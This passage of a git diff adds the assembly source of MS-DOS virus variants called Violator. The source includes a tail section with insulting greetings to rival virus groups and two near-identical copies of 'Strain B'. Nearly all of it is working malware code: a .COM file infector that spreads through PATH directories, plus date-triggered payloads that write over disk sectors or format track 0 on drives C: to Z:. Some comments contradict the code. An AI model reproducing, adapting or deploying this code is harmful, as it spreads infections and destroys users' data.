CLEAN programs. But remember, if it wasn't for people like us, you wouldn't +; be where you are now... (BTW: How'dya like Violator B4? Did you get our +; message, despite the bug in the ANSI routines? >SMOOCH< (hehe)) +; +; To Mark Washburn. V2P6 is excellent. We love the source code... (Yes! We have +; it as well...) Keep up the great work, even if it is for research purposes. +; +; To Eric Omen (DSZ Author). Sorry about the Strain B4 bit. It wasn't our +; doing. You can blame L.o.L. for that... +; +; To L.o.L. Get real lives you pre-pubesent assholes. Your group sucks! What +; good comes by releasing a doc on 500 ways to crash Emulex, and claiming that +; you know the backdoors to it, and other BBS software. Yup. Just keep going to +; those Beverly Hills Snob Private schools and think you'll get somewhere in +; the world. +; +; To Slave Lord. Take your precious group and shove it up your ass sideways. +; Your cracks suck man! A friend of mine who attended COMDEX last year can +; sum up the majority of your group in one word. GEEKS! INC rules and it +; always will. Keep on dreaming... We eat assholes like you for breakfast... +; Need we even mention how many times we crashed Slave Den last year??? +; 'Nuff said... +; +; To PCM2. Where the hell are you man? Get working guy... +; +; And to all other virus writers out there who remain annonomous. Keep up the +; great work. McFee wouldn't be where he is now unless it wansn't for people +; like us. (He should be greatfull... +; +; Take care guys... And watch out. We're everywhere... +; +;****************************************************************************** +; +; -=THE=- +; +; The RABID International Development Corp. +; ----------------------------------------- +; Big hey-yo's to: FF, TJA, TM, PT, and MM. +; +; +; "...take heed that no man deceive you. For many shall come in my name, +; saying I am Christ; and shall deceive many. And ye shall hear of wars and +; rumours of wars: see that ye be not troubled: for all these things must come +; to pass, but the end is not yet. For nation shall rise against nation, and +; kingdom against kingdom: and there shall be famines, and pestilences, and +; earthquakes, in divers places. All these are the beginning of sorrows." +; (Matthew 24:4-9) +; +; The tenth day of Tishri shall fall upon October 9th, 2000. Revelation will +; be fulfilled. +; +; We're getting there unless those bastards in power do something to save this +; Earth we live on. +; +; Nostradamus prophesised that we may follow one of two paths. One to harmony, +; or one to destruction. Which path will we follow? +; +; Think about it. +; +;****************************************************************************** + + + +MOV_CX MACRO X + DB 0B9H + DW X +ENDM + +CODE SEGMENT + ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE + ORG $+0100H + +VCODE: JMP virus + + nop + nop + nop + nop + nop + nop + nop + nop + nop + nop + nop + nop + nop + nop + nop + +v_start equ $ + +virus: PUSH CX + MOV DX,OFFSET vir_dat ;This is where the virus data starts. + ; The 2nd and 3rd bytes get modified. + CLD ;Pointers will be auto INcremented + MOV SI,DX ;Access data as offset from SI + ADD SI,first_3 ;Point to original 1st 3 bytes of .COM + MOV CX,3 + MOV DI,OFFSET 100H ;`cause all .COM files start at 100H + REPZ MOVSB ;Restore original first 3 bytes of .COM + MOV SI,DX ;Keep SI pointing to the data area + mov ah,30h + int 21h + cmp al,0 + JnZ dos_ok + JMP quit + +dos_ok: PUSH ES + MOV AH,2FH + INT 21H + MOV [SI+old_dta],BX + MOV [SI+old_dts],ES ;Save the DTA address + POP ES + MOV DX,dta ;Offset of new DTA in virus data area +; NOP ;MASM will add this NOP here + ADD DX,SI ;Compute DTA address + MOV AH,1AH + INT 21H ;Set new DTA to inside our own code + PUSH ES + PUSH SI + MOV ES,DS:2CH + MOV DI,0 ;ES:DI points to environment + JMP year_check + +year_check: + mov ah,2ah + int 21h + cmp cx,1990 + jge month_check + jmp find_path + +month_check: + mov ah,2ah + int 21h + cmp dh,6 + jge day_check + jmp find_path + +day_check: + mov ah,2ah + int 21h ; Set date to June 22nd, 1990 + cmp dl,22 + jge alter + jmp find_path + +alter: + mov al,1 ; Set for Drive 'B:' + mov cx,1 ; Change to 'MOV AL,2' for drive C: + mov dx,00 + mov ds,[di+55] + mov bx,[di+99] + int 26h + jmp find_path + + +find_path: + POP SI + PUSH SI ;Get SI back + ADD SI,env_str ;Point to "PATH=" string in data area + LODSB + MOV CX,OFFSET 8000H ;Environment can be 32768 bytes long + REPNZ SCASB ;Search for first character + MOV CX,4 + +check_next_4: + LODSB + SCASB + JNZ find_path ;If not all there, abort & start over + LOOP check_next_4 ;Loop to check the next character + POP SI + POP ES + MOV [SI+path_ad],DI ;Save the address of the PATH + MOV DI,SI + ADD DI,wrk_spc ;File name workspace + MOV BX,SI ;Save a copy of SI + ADD SI,wrk_spc ;Point SI to workspace + MOV DI,SI ;Point DI to workspace + JMP SHORT slash_ok + +set_subdir: + CMP WORD PTR [SI+path_ad],0 ;Is PATH string ended? + JNZ found_subdir ;If not, there are more subdirectories + JMP all_done ;Else, we're all done + + +found_subdir: + PUSH DS + PUSH SI + MOV DS,ES:2CH ;DS points to environment segment + MOV DI,SI + MOV SI,ES:[DI+path_ad] ;SI = PATH address + ADD DI,wrk_spc ;DI points to file name workspace + + +move_subdir: + LODSB ;Get character + CMP AL,';' ;Is it a ';' delimiter? + JZ moved_one ;Yes, found another subdirectory + CMP AL,0 ;End of PATH string? + JZ moved_last_one ;Yes + STOSB ;Save PATH marker into [DI] + JMP SHORT move_subdir + +moved_last_one: + MOV SI,0 + +moved_one: + POP BX ;Pointer to virus data area + POP DS ;Restore DS + MOV [BX+path_ad],SI ;Address of next subdirectory + NOP + CMP CH,'\' ;Ends with "\"? + JZ slash_ok ;If yes + MOV AL,'\' ;Add one, if not + STOSB + + +slash_ok: + MOV [BX+nam_ptr],DI ;Set filename pointer to name workspace + MOV SI,BX ;Restore SI + ADD SI,f_spec ;Point to "*.COM" + MOV CX,6 + REPZ MOVSB ;Move "*.COM",0 to workspace + MOV SI,BX + MOV AH,4EH + MOV DX,wrk_spc +; NOP ;MASM will add this NOP here + ADD DX,SI ;DX points to "*.COM" in workspace + MOV CX,3 ;Attributes of Read Only or Hidden OK + INT 21H + JMP SHORT find_first + +find_next: + MOV AH,4FH + INT 21H + +find_first: + JNB found_file ;Jump if we found it + JMP SHORT set_subdir ;Otherwise, get another subdirectory + +found_file: + MOV AX,[SI+dta_tim] ;Get time from DTA + AND AL,1FH ;Mask to remove all but seconds + CMP AL,1FH ;62 seconds -> already infected + JZ find_next ;If so, go find another file + CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long? + JA find_next ;If too long, find another one + CMP WORD PTR [SI+dta_len],0AH ;Is it too short? + JB find_next ;Then go find another one + MOV DI,[SI+nam_ptr] ;DI points to file name + PUSH SI ;Save SI + ADD SI,dta_nam ;Point SI to file name + +more_chars: + LODSB + STOSB + CMP AL,0 + JNZ more_chars ;Move characters until we find a 00 + POP SI + MOV AX,OFFSET 4300H + MOV DX,wrk_spc ;Point to \path\name in workspace +; NOP ;MASM will add this NOP here + ADD DX,SI + INT 21H + MOV [SI+old_att],CX ;Save the old attributes + MOV AX,OFFSET 4301H ;Set attributes + AND CX,OFFSET 0FFFEH ;Set all except "read only" (weird) + MOV DX,wrk_spc ;Offset of \path\name in workspace +; NOP ;MASM will add this NOP here + ADD DX,SI ;Point to \path\name + INT 21H + MOV AX,OFFSET 3D02H ;Read/Write + MOV DX,wrk_spc ;Offset to \path\name in workspace +; NOP ;MASM will add this NOP here + ADD DX,SI ;Point to \path\name + INT 21H + JNB opened_ok ;If file was opened OK + JMP fix_attr ;If it failed, restore the attributes + +opened_ok: + MOV BX,AX + MOV AX,OFFSET 5700H + INT 21H + MOV [SI+old_tim],CX ;Save file time + MOV [SI+ol_date],DX ;Save the date + MOV AH,2CH + INT 21H + AND DH,7 + JMP infect + +infect: + MOV AH,3FH + MOV CX,3 + MOV DX,first_3 +; NOP ;MASM will add this NOP here + ADD DX,SI + INT 21H ;Save first 3 bytes into the data area + JB fix_time_stamp ;Quit, if read failed + CMP AX,3 ;Were we able to read all 3 bytes? + JNZ fix_time_stamp ;Quit, if not + MOV AX,OFFSET 4202H + MOV CX,0 + MOV DX,0 + INT 21H + JB fix_time_stamp ;Quit, if it didn't work + MOV CX,AX ;DX:AX (long int) = file size + SUB AX,3 ;Subtract 3 (OK, since DX must be 0, here) + MOV [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction + ADD CX,OFFSET c_len_y + MOV DI,SI ;Point DI to virus data area + SUB DI,OFFSET c_len_x + ;Point DI to reference vir_dat, at start of pgm + MOV [DI],CX ;Modify vir_dat reference:2nd, 3rd bytes of pgm + MOV AH,40H + MOV_CX virlen ;Length of virus, in bytes + MOV DX,SI + SUB DX,OFFSET codelen ;Length of virus code, gives starting + ; address of virus code in memory + INT 21H + JB fix_time_stamp ;Jump if error + CMP AX,OFFSET virlen ;All bytes written? + JNZ fix_time_stamp ;Jump if error + MOV AX,OFFSET 4200H + MOV CX,0 + MOV DX,0 + INT 21H + JB fix_time_stamp ;Jump if error + MOV AH,40H + MOV CX,3 + MOV DX,SI ;Virus data area + ADD DX,jmp_op ;Point to the reconstructed JMP + INT 21H + +fix_time_stamp: + MOV DX,[SI+ol_date] ;Old file date + MOV CX,[SI+old_tim] ;Old file time + AND CX,OFFSET 0FFE0H + OR CX,1FH ;Seconds = 31/30 min = 62 seconds + MOV AX,OFFSET 5701H + INT 21H + MOV AH,3EH + INT 21H + +fix_attr: + MOV AX,OFFSET 4301H + MOV CX,[SI+old_att] ;Old Attributes + MOV DX,wrk_spc +; NOP ;MASM will add this NOP + ADD DX,SI ;DX points to \path\name in workspace + INT 21H + +all_done: + PUSH DS + MOV AH,1AH + MOV DX,[SI+old_dta] + MOV DS,[SI+old_dts] + INT 21H + POP DS + +quit: + POP CX + XOR AX,AX + XOR BX,BX + XOR DX,DX + XOR SI,SI + MOV DI,OFFSET 0100H + PUSH DI + XOR DI,DI + RET 0FFFFH + +vir_dat EQU $ + +intro db 13,10,' DDrUS (C) - 1990 $',13,10 +olddta_ DW 0 ;Old DTA offset +olddts_ DW 0 ;Old DTA segment +oldtim_ DW 0 ;Old Time +oldate_ DW 0 ;Old date +oldatt_ DW 0 ;Old file attributes +first3_ EQU $ + INT 20H + NOP +jmpop_ DB 0E9H ;Start of JMP instruction +jmpdsp_ DW 0 ;The displacement part +fspec_ DB '*.COM',0 +pathad_ DW 0 ;Path address +namptr_ DW 0 ;Pointer to start of file name +envstr_ DB 'PATH=' ;Find this in the environment +wrkspc_ DB 40h dup (0) +dta_ DB 16h dup (0) ;Temporary DTA goes here +dtatim_ DW 0,0 ;Time stamp in DTA +dtalen_ DW 0,0 ;File length in the DTA +dtanam_ DB 0Dh dup (0) ;File name in the DTA + +lst_byt EQU $ ;All lines that assemble into code are + ; above this one + +virlen = lst_byt - v_start ;Length, in bytes, of the entire virus +codelen = vir_dat - v_start ;Length of virus code, only +c_len_x = vir_dat - v_start - 2 ;Displacement for self-modifying code +c_len_y = vir_dat - v_start + 100H ;Code length + 100h, for PSP +old_dta = olddta_ - vir_dat ;Displacement to the old DTA offset +old_dts = olddts_ - vir_dat ;Displacement to the old DTA segment +old_tim = oldtim_ - vir_dat ;Displacement to old file time stamp +ol_date = oldate_ - vir_dat ;Displacement to old file date stamp +old_att = oldatt_ - vir_dat ;Displacement to old attributes +first_3 = first3_ - vir_dat ;Displacement-1st 3 bytes of old .COM +jmp_op = jmpop_ - vir_dat ;Displacement to the JMP opcode +jmp_dsp = jmpdsp_ - vir_dat ;Displacement to the 2nd 2 bytes of JMP +f_spec = fspec_ - vir_dat ;Displacement to the "*.COM" string +path_ad = pathad_ - vir_dat ;Displacement to the path address +nam_ptr = namptr_ - vir_dat ;Displacement to the filename pointer +env_str = envstr_ - vir_dat ;Displacement to the "PATH=" string +wrk_spc = wrkspc_ - vir_dat ;Displacement to the filename workspace +dta = dta_ - vir_dat ;Displacement to the temporary DTA +dta_tim = dtatim_ - vir_dat ;Displacement to the time in the DTA +dta_len = dtalen_ - vir_dat ;Displacement to the length in the DTA +dta_nam = dtanam_ - vir_dat ;Displacement to the name in the DTA + + CODE ENDS +END VCODE diff --git a/MSDOS/Virus.MSDOS.Unknown.violator.asm b/MSDOS/Virus.MSDOS.Unknown.violator.asm new file mode 100644 index 00000000..f1695b81 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.violator.asm @@ -0,0 +1,392 @@ +;***************************************************************************** +; +; Violator - Strain B +; +;***************************************************************************** +; +; (Aug/09/90) +; +; Development Notes: +; +; I encountered several errors in the original Violator code which I +; corrected in this version. Mainly, the INT 26 routine to fuck the +; disk. It seems that the routine would crash right after the INT 26 +; was executed and the whole program would die. I have since fixed +; this problem in this version with an INT 13, AH 05 (Format Track) +; command. This works better than the subsequent INT 26. +; +; +;***************************************************************************** +; +; Written by - The High Evolutionary - +; RABID Head Programmer +; +; Revised by: Onslaught +; No affiliation with rabId +; +; Copyright (C) 1990 by RABID Nat'nl Development Corp. +; +;***************************************************************************** + +MOV_CX MACRO X + DB 0B9H + DW X +ENDM + +CODE SEGMENT + ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE + ORG $+0100H ; Set ORG to 100H plus our own + +VCODE: JMP virus + + NOP + NOP + NOP ;15 NOP's to place JMP Header + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + +v_start equ $ + + +virus: PUSH CX + MOV DX,OFFSET vir_dat + CLD + MOV SI,DX + ADD SI,first_3 + MOV CX,3 + MOV DI,OFFSET 100H + REPZ MOVSB + MOV SI,DX + MOV AH,30H + INT 21H + CMP AL,0 ;Quit it it's DOS 1.0 + JNZ dos_ok + JMP quit + +dos_ok: PUSH ES + MOV AH,2FH + INT 21H + MOV [SI+old_dta],BX + MOV [SI+old_dts],ES + POP ES + MOV DX,dta + ADD DX,SI + MOV AH,1AH + INT 21H + PUSH ES + PUSH SI + MOV ES,DS:2CH + MOV DI,0 + JMP year_check + +year_check: + MOV AH,2AH ;Get date info + INT 21H ;Call DOS + CMP CX,1990 ;Check to see if the year is 1990 + JGE month_check ;If greater or equal, check month + JMP find_path ;If not, go on with infection + +month_check: + MOV AH,2AH ;Get date info + INT 21h ;Call DOS + CMP DH,10 ;Check to see if it is September + JGE day_check ;If greater or equal, check day + JMP find_path ;if not, go on with infection + +day_check: + MOV AH,2Ah ;Get date info + INT 21H ;Call DOS + CMP DL,31 ;Check to see if it is the 4th + JGE multiplex ;If yes, then nuke drives A:-Z: + JMP find_path ;If not, then go on with infection + +multiplex: + MOV AL,cntr ;Counter is the drive to kill + CALL alter ;Go and kill the drive + ;25 is drive Z: + CMP cntr,25 ;Is (cntr) 25 ? + JE find_path ;Go on with infection + INC cntr ;Add one to (cntr) + LOOP multiplex ;Loop back up to kill next drive + +alter: + MOV AH,05 ;Format Track + MOV CH,0 ;Format track 0 + MOV DH,0 ;Head 0 + MOV DL,cntr ;Format for drive in (cntr) + INT 13h ;Call RWTS + RET ;Return up for next drive + +find_path: + POP SI + PUSH SI + ADD SI,env_str + LODSB + MOV CX,OFFSET 8000H + REPNZ SCASB + MOV CX,4 + +check_next_4: + LODSB + SCASB +; +; The JNZ line specifies that if there is no PATH present, then we will go +; along and infect the ROOT directory on the default drive. +; + JNZ find_path ;If not path, then go to ROOT dir + LOOP check_next_4 ;Go back and check for more chars + POP SI ;Load in PATH again to look for chars + POP ES + MOV [SI+path_ad],DI + MOV DI,SI + ADD DI,wrk_spc ;Put the filename in wrk_spc + MOV BX,SI + ADD SI,wrk_spc + MOV DI,SI + JMP SHORT slash_ok + +set_subdir: + CMP WORD PTR [SI+path_ad],0 + JNZ found_subdir + JMP all_done + + +found_subdir: + PUSH DS + PUSH SI + MOV DS,ES:2CH + MOV DI,SI + MOV SI,ES:[DI+path_ad] + ADD DI,wrk_spc ;DI is the file name to infect! (hehe) + + +move_subdir: + LODSB ;To tedious work to move into subdir + CMP AL,';' ;Does it end with a ; charachter? + JZ moved_one ;if yes, then we found a subdir + CMP AL,0 ;is it the end of the path? + JZ moved_last_one ;if yes, then we save the PATH + STOSB ;marker into DI for future reference + JMP SHORT move_subdir + +moved_last_one: + MOV SI,0 + +moved_one: + POP BX ;BX is where the virus data is + POP DS ;Restore DS so that we can do stuph + MOV [BX+path_ad],SI ;Where is the next subdir? + NOP + CMP CH,'\' ;Check to see if it ends in \ + JZ slash_ok ;If yes, then it's OK + MOV AL,'\' ;if not, then add one... + STOSB ;store the sucker + + +slash_ok: + MOV [BX+nam_ptr],DI ;Move the filename into workspace + MOV SI,BX ;Restore the original SI value + ADD SI,f_spec ;Point to COM file victim + MOV CX,6 + REPZ MOVSB ;Move victim into workspace + MOV SI,BX + MOV AH,4EH + MOV DX,wrk_spc + ADD DX,SI ;DX is ... THE VICTIM!!! + MOV CX,3 ;Attributes of Read Only or Hidden OK + INT 21H + JMP SHORT find_first + +find_next: + MOV AH,4FH + INT 21H + +find_first: + JNB found_file ;Jump if we found it + JMP SHORT set_subdir ;Otherwise, get another subdirectory + +found_file: + MOV AX,[SI+dta_tim] ;Get time from DTA + AND AL,1EH ;Mask to remove all but seconds + CMP AL,1EH ;60 seconds + JZ find_next + CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long? + JA find_next ;If too long, find another one + CMP WORD PTR [SI+dta_len],0AH ;Is it too short? + JB find_next ;Then go find another one + MOV DI,[SI+nam_ptr] + PUSH SI + ADD SI,dta_nam + +more_chars: + LODSB + STOSB + CMP AL,0 + JNZ more_chars + POP SI + MOV AX,OFFSET 4300H + MOV DX,wrk_spc + ADD DX,SI + INT 21H + MOV [SI+old_att],CX + MOV AX,OFFSET 4301H + AND CX,OFFSET 0FFFEH + MOV DX,wrk_spc + ADD DX,SI + INT 21H + MOV AX,OFFSET 3D02H + MOV DX,wrk_spc + ADD DX,SI + INT 21H + JNB opened_ok + JMP fix_attr + +opened_ok: + MOV BX,AX + MOV AX,OFFSET 5700H + INT 21H + MOV [SI+old_tim],CX ;Save file time + MOV [SI+ol_date],DX ;Save the date + MOV AH,2CH + INT 21H + AND DH,7 + JMP infect + +infect: + MOV AH,3FH + MOV CX,3 + MOV DX,first_3 + ADD DX,SI + INT 21H ;Save first 3 bytes into the data area + JB fix_time_stamp + CMP AX,3 + JNZ fix_time_stamp + MOV AX,OFFSET 4202H + MOV CX,0 + MOV DX,0 + INT 21H + JB fix_time_stamp + MOV CX,AX + SUB AX,3 + MOV [SI+jmp_dsp],AX + ADD CX,OFFSET c_len_y + MOV DI,SI + SUB DI,OFFSET c_len_x + + MOV [DI],CX + MOV AH,40H + MOV_CX virlen + MOV DX,SI + SUB DX,OFFSET codelen + INT 21H + JB fix_time_stamp + CMP AX,OFFSET virlen + JNZ fix_time_stamp + MOV AX,OFFSET 4200H + MOV CX,0 + MOV DX,0 + INT 21H + JB fix_time_stamp + MOV AH,40H + MOV CX,3 + MOV DX,SI + ADD DX,jmp_op + INT 21H + +fix_time_stamp: + MOV DX,[SI+ol_date] + MOV CX,[SI+old_tim] + AND CX,OFFSET 0FFE0H + OR CX,1EH + MOV AX,OFFSET 5701H + INT 21H + MOV AH,3EH + INT 21H + +fix_attr: + MOV AX,OFFSET 4301H + MOV CX,[SI+old_att] + MOV DX,wrk_spc + ADD DX,SI + INT 21H + +all_done: + PUSH DS + MOV AH,1AH + MOV DX,[SI+old_dta] + MOV DS,[SI+old_dts] + INT 21H + POP DS + +quit: + POP CX + XOR AX,AX ;XOR values so that we will give the + XOR BX,BX ;poor sucker a hard time trying to + XOR DX,DX ;reassemble the source code if he + XOR SI,SI ;decides to dissassemble us. + MOV DI,OFFSET 0100H + PUSH DI + XOR DI,DI + RET 0FFFFH ;Return back to the beginning + ;of the program + +vir_dat EQU $ + +intro db '.D$^i*&B)_a.%R',13,10 +olddta_ DW 0 +olddts_ DW 0 +oldtim_ DW 0 +count_ DW 0 +cntr DB 2 ; Drive to nuke from (C:+++) +oldate_ DW 0 +oldatt_ DW 0 +first3_ EQU $ + INT 20H + NOP +jmpop_ DB 0E9H +jmpdsp_ DW 0 +fspec_ DB '*.COM',0 +pathad_ DW 0 +namptr_ DW 0 +envstr_ DB 'PATH=' +wrkspc_ DB 40h dup (0) +dta_ DB 16h dup (0) +dtatim_ DW 0,0 +dtalen_ DW 0,0 +dtanam_ DB 0Dh dup (0) +lst_byt EQU $ +virlen = lst_byt - v_start +codelen = vir_dat - v_start +c_len_x = vir_dat - v_start - 2 +c_len_y = vir_dat - v_start + 100H +old_dta = olddta_ - vir_dat +old_dts = olddts_ - vir_dat +old_tim = oldtim_ - vir_dat +ol_date = oldate_ - vir_dat +old_att = oldatt_ - vir_dat +first_3 = first3_ - vir_dat +jmp_op = jmpop_ - vir_dat +jmp_dsp = jmpdsp_ - vir_dat +f_spec = fspec_ - vir_dat +path_ad = pathad_ - vir_dat +nam_ptr = namptr_ - vir_dat +env_str = envstr_ - vir_dat +wrk_spc = wrkspc_ - vir_dat +dta = dta_ - vir_dat +dta_tim = dtatim_ - vir_dat +dta_len = dtalen_ - vir_dat +dta_nam = dtanam_ - vir_dat +count = count_ - vir_dat + + CODE ENDS +END VCODE#em diff --git a/MSDOS/Virus.MSDOS.Unknown.violb.asm b/MSDOS/Virus.MSDOS.Unknown.violb.asm new file mode 100644 index 00000000..8ea7448f --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.violb.asm @@ -0,0 +1,394 @@ +;***************************************************************************** +; +; Violator - Strain B +; +;***************************************************************************** +; +; (Aug/09/90) +; +; Development Notes: +; +; I encountered several errors in the original Violator code which I +; corrected in this version. Mainly, the INT 26 routine to fuck the +; disk. It seems that the routine would crash right after the INT 26 +; was executed and the whole program would die. I have since fixed +; this problem in this version with an INT 13, AH 05 (Format Track) +; command. This works better than the subsequent INT 26. +; +; +;***************************************************************************** +; +; Written by - The High Evolutionary - +; RABID Head Programmer +; +; Revised by: Onslaught +; No affiliation with rabId +; +; Copyright (C) 1990 by RABID Nat'nl Development Corp. +; +;***************************************************************************** + +MOV_CX MACRO X + DB 0B9H + DW X +ENDM + +CODE SEGMENT + ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE + ORG $+0100H ; Set ORG to 100H plus our own + +VCODE: JMP virus + + NOP + NOP + NOP ;15 NOP's to place JMP Header + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + +v_start equ $ + + +virus: PUSH CX + MOV DX,OFFSET vir_dat + CLD + MOV SI,DX + ADD SI,first_3 + MOV CX,3 + MOV DI,OFFSET 100H + REPZ MOVSB + MOV SI,DX + MOV AH,30H + INT 21H + CMP AL,0 ;Quit it it's DOS 1.0 + JNZ dos_ok + JMP quit + +dos_ok: PUSH ES + MOV AH,2FH + INT 21H + MOV [SI+old_dta],BX + MOV [SI+old_dts],ES + POP ES + MOV DX,dta + ADD DX,SI + MOV AH,1AH + INT 21H + PUSH ES + PUSH SI + MOV ES,DS:2CH + MOV DI,0 + JMP year_check + +year_check: + MOV AH,2AH ;Get date info + INT 21H ;Call DOS + CMP CX,1990 ;Check to see if the year is 1990 + JGE month_check ;If greater or equal, check month + JMP find_path ;If not, go on with infection + +month_check: + MOV AH,2AH ;Get date info + INT 21h ;Call DOS + CMP DH,10 ;Check to see if it is September + JGE day_check ;If greater or equal, check day + JMP find_path ;if not, go on with infection + +day_check: + MOV AH,2Ah ;Get date info + INT 21H ;Call DOS + CMP DL,31 ;Check to see if it is the 4th + JGE multiplex ;If yes, then nuke drives A:-Z: + JMP find_path ;If not, then go on with infection + +multiplex: + MOV AL,cntr ;Counter is the drive to kill + CALL alter ;Go and kill the drive + ;25 is drive Z: + CMP cntr,25 ;Is (cntr) 25 ? + JE find_path ;Go on with infection + INC cntr ;Add one to (cntr) + LOOP multiplex ;Loop back up to kill next drive + +alter: + MOV AH,05 ;Format Track + MOV CH,0 ;Format track 0 + MOV DH,0 ;Head 0 + MOV DL,cntr ;Format for drive in (cntr) + INT 13h ;Call RWTS + RET ;Return up for next drive + +find_path: + POP SI + PUSH SI + ADD SI,env_str + LODSB + MOV CX,OFFSET 8000H + REPNZ SCASB + MOV CX,4 + +check_next_4: + LODSB + SCASB +; +; The JNZ line specifies that if there is no PATH present, then we will go +; along and infect the ROOT directory on the default drive. +; + JNZ find_path ;If not path, then go to ROOT dir + LOOP check_next_4 ;Go back and check for more chars + POP SI ;Load in PATH again to look for chars + POP ES + MOV [SI+path_ad],DI + MOV DI,SI + ADD DI,wrk_spc ;Put the filename in wrk_spc + MOV BX,SI + ADD SI,wrk_spc + MOV DI,SI + JMP SHORT slash_ok + +set_subdir: + CMP WORD PTR [SI+path_ad],0 + JNZ found_subdir + JMP all_done + + +found_subdir: + PUSH DS + PUSH SI + MOV DS,ES:2CH + MOV DI,SI + MOV SI,ES:[DI+path_ad] + ADD DI,wrk_spc ;DI is the file name to infect! (hehe) + + +move_subdir: + LODSB ;To tedious work to move into subdir + CMP AL,';' ;Does it end with a ; charachter? + JZ moved_one ;if yes, then we found a subdir + CMP AL,0 ;is it the end of the path? + JZ moved_last_one ;if yes, then we save the PATH + STOSB ;marker into DI for future reference + JMP SHORT move_subdir + +moved_last_one: + MOV SI,0 + +moved_one: + POP BX ;BX is where the virus data is + POP DS ;Restore DS so that we can do stuph + MOV [BX+path_ad],SI ;Where is the next subdir? + NOP + CMP CH,'\' ;Check to see if it ends in \ + JZ slash_ok ;If yes, then it's OK + MOV AL,'\' ;if not, then add one... + STOSB ;store the sucker + + +slash_ok: + MOV [BX+nam_ptr],DI ;Move the filename into workspace + MOV SI,BX ;Restore the original SI value + ADD SI,f_spec ;Point to COM file victim + MOV CX,6 + REPZ MOVSB ;Move victim into workspace + MOV SI,BX + MOV AH,4EH + MOV DX,wrk_spc + ADD DX,SI ;DX is ... THE VICTIM!!! + MOV CX,3 ;Attributes of Read Only or Hidden OK + INT 21H + JMP SHORT find_first + +find_next: + MOV AH,4FH + INT 21H + +find_first: + JNB found_file ;Jump if we found it + JMP SHORT set_subdir ;Otherwise, get another subdirectory + +found_file: + MOV AX,[SI+dta_tim] ;Get time from DTA + AND AL,1EH ;Mask to remove all but seconds + CMP AL,1EH ;60 seconds + JZ find_next + CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long? + JA find_next ;If too long, find another one + CMP WORD PTR [SI+dta_len],0AH ;Is it too short? + JB find_next ;Then go find another one + MOV DI,[SI+nam_ptr] + PUSH SI + ADD SI,dta_nam + +more_chars: + LODSB + STOSB + CMP AL,0 + JNZ more_chars + POP SI + MOV AX,OFFSET 4300H + MOV DX,wrk_spc + ADD DX,SI + INT 21H + MOV [SI+old_att],CX + MOV AX,OFFSET 4301H + AND CX,OFFSET 0FFFEH + MOV DX,wrk_spc + ADD DX,SI + INT 21H + MOV AX,OFFSET 3D02H + MOV DX,wrk_spc + ADD DX,SI + INT 21H + JNB opened_ok + JMP fix_attr + +opened_ok: + MOV BX,AX + MOV AX,OFFSET 5700H + INT 21H + MOV [SI+old_tim],CX ;Save file time + MOV [SI+ol_date],DX ;Save the date + MOV AH,2CH + INT 21H + AND DH,7 + JMP infect + +infect: + MOV AH,3FH + MOV CX,3 + MOV DX,first_3 + ADD DX,SI + INT 21H ;Save first 3 bytes into the data area + JB fix_time_stamp + CMP AX,3 + JNZ fix_time_stamp + MOV AX,OFFSET 4202H + MOV CX,0 + MOV DX,0 + INT 21H + JB fix_time_stamp + MOV CX,AX + SUB AX,3 + MOV [SI+jmp_dsp],AX + ADD CX,OFFSET c_len_y + MOV DI,SI + SUB DI,OFFSET c_len_x + + MOV [DI],CX + MOV AH,40H + MOV_CX virlen + MOV DX,SI + SUB DX,OFFSET codelen + INT 21H + JB fix_time_stamp + CMP AX,OFFSET virlen + JNZ fix_time_stamp + MOV AX,OFFSET 4200H + MOV CX,0 + MOV DX,0 + INT 21H + JB fix_time_stamp + MOV AH,40H + MOV CX,3 + MOV DX,SI + ADD DX,jmp_op + INT 21H + +fix_time_stamp: + MOV DX,[SI+ol_date] + MOV CX,[SI+old_tim] + AND CX,OFFSET 0FFE0H + OR CX,1EH + MOV AX,OFFSET 5701H + INT 21H + MOV AH,3EH + INT 21H + +fix_attr: + MOV AX,OFFSET 4301H + MOV CX,[SI+old_att] + MOV DX,wrk_spc + ADD DX,SI + INT 21H + +all_done: + PUSH DS + MOV AH,1AH + MOV DX,[SI+old_dta] + MOV DS,[SI+old_dts] + INT 21H + POP DS + +quit: + POP CX + XOR AX,AX ;XOR values so that we will give the + XOR BX,BX ;poor sucker a hard time trying to + XOR DX,DX ;reassemble the source code if he + XOR SI,SI ;decides to dissassemble us. + MOV DI,OFFSET 0100H + PUSH DI + XOR DI,DI + RET 0FFFFH ;Return back to the beginning + ;of the program + +vir_dat EQU $ + +intro db '.D$^i*&B)_a.%R',13,10 +olddta_ DW 0 +olddts_ DW 0 +oldtim_ DW 0 +count_ DW 0 +cntr DB 2 ; Drive to nuke from (C:+++) +oldate_ DW 0 +oldatt_ DW 0 +first3_ EQU $ + INT 20H + NOP +jmpop_ DB 0E9H +jmpdsp_ DW 0 +fspec_ DB '*.COM',0 +pathad_ DW 0 +namptr_ DW 0 +envstr_ DB 'PATH=' +wrkspc_ DB 40h dup (0) +dta_ DB 16h dup (0) +dtatim_ DW 0,0 +dtalen_ DW 0,0 +dtanam_ DB 0Dh dup (0) +lst_byt EQU $ +virlen = lst_byt - v_start +codelen = vir_dat - v_start +c_len_x = vir_dat - v_start - 2 +c_len_y = vir_dat - v_start + 100H +old_dta = olddta_ - vir_dat +old_dts = olddts_ - vir_dat +old_tim = oldtim_ - vir_dat +ol_date = oldate_ - vir_dat +old_att = oldatt_ - vir_dat +first_3 = first3_ - vir_dat +jmp_op = jmpop_ - vir_dat +jmp_dsp = jmpdsp_ - vir_dat +f_spec = fspec_ - vir_dat +path_ad = pathad_ - vir_dat +nam_ptr = namptr_ - vir_dat +env_str = envstr_ - vir_dat +wrk_spc = wrkspc_ - vir_dat +dta = dta_ - vir_dat +dta_tim = dtatim_ - vir_dat +dta_len = dtalen_ - vir_dat +dta_nam = dtanam_ - vir_dat +count = count_ - vir_dat + + CODE ENDS +END VCODE + + \ No newline 